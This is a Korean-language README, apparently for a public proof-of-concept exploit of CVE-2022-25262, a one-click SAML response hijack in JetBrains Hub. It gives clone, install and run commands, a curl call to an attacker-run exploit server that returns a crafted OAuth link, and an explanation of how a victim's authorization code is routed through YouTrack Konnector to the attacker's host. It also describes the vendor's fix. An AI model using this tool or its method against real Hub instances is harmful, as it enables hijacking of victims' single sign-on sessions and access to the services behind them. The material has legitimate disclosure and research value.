
PoC + 취약점 세부 정보: CVE-2022-25262 / JetBrains Hub 단일 클릭 SAML 응답 탈취
CVE-2022-25262에 대한 PoC + 취약점 세부 정보 | JetBrains Hub 원클릭 SAML 응답 탈취
설치 및 실행:
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] [-p P]
optional arguments:
-h, --help show this help message and exit
-p P Uvicorn port
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000
사용법:
쿼리 매개변수:
익스플로잇 링크 가져오기:
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"
* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
<
* Connection #0 to host {exploit-host-ip} left intact
{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}
데모:
이 취약점은 두 부분으로 구성됩니다:
SAML IdP는 OAuth의 확장으로 작동합니다. 특정 사용자가 특정 서비스 제공업체에 로그인하려고 하면 OAuth 인증 코드 권한 부여 흐름을 거치며 (요청 1-2), 코드를 획득한 후 Hub에 코드를 반환합니다 (요청 3). Hub는 코드와 연결된 사용자 정보를 가져와 서비스에 대한 서명된 SAML 응답을 발급합니다. SAML IdP는 통합을 위해 Hub OAuth2 클라이언트(client_id=0-0-0-0-0)를 사용하지만, 코드가 어떤 OAuth 클라이언트를 대신하여 발급되었는지는 확인하지 않습니다. 여기서 중요한 유일한 것은 코드가 유효한지 여부입니다. 공격자가 Hub에 등록된 임의의 OAuth 클라이언트에서 인증 코드를 탈취할 방법을 찾으면 SAML 응답 탈취로 이어질 수 있습니다.

YouTrack Konnector는 특정 YouTrack 인스턴스를 Slack 봇과 연결할 수 있게 해주는 퍼스트파티 서비스입니다. 이 서비스는 YouTrack의 URL 주소와 Konnector OAuth 클라이언트의 ID 및 시크릿을 입력받습니다 (요청 1). 그런 다음 여러 API 엔드포인트를 호출하여 제공된 URL이 유효한 YouTrack을 가리키는지 확인하려고 시도합니다 ("핸드셰이크" 요청 2-3). 모든 것이 정상이면 Konnector는 특정 사용자가 OAuth 코드 권한 부여 흐름을 진행할 수 있게 해주는 URL을 반환합니다 (응답 1). 이 URL에는 Konnector가 OAuth 인증 코드를 적절한 핸들러(Hub 인스턴스)로 라우팅하는 데 도움이 되는 "state" 쿼리 매개변수가 포함되어 있습니다. 공격자는 "핸드셰이크"에 필요한 엔드포인트를 갖춘 호스트를 만들고 공격자의 호스트를 가리키는 "state" 매개변수를 획득할 수 있습니다. 그 후 공격자는 OAuth 인증 URL을 제작하여 피해자에게 보낼 수 있습니다. 피해자가 링크를 클릭하고 OAuth 흐름을 완료하면(Hub에 유효한 세션이 있어야 함), Konnector 서비스는 코드를 수신하여 공격자의 호스트로 전송합니다 (요청 4-6).

YouTrack 팀은 "OAuth2 -> SAML" 교환 프로세스 중 "JetBrains Hub Service" OAuth 클라이언트에 대해 발급된 인증 코드만 사용할 수 있도록 하는 검사를 추가했습니다. 결과적으로 "YouTrack Konnector" OAuth 클라이언트에 대해 발급된 인증 코드를 교환할 방법은 없습니다.
| 이름 | 설명 | 필수 |
|---|
| hub_url | 대상 Hub 인스턴스의 URL | ✅ |
| issuer | SAML 발급자 | ✅ |
| acs_url | 어서션 컨슈머 서비스 URL | ✅ |
| youtrack_url | Hub에 연결된 YouTrack 인스턴스의 URL (게스트 사용자가 비활성화된 경우 필요) | ❔ |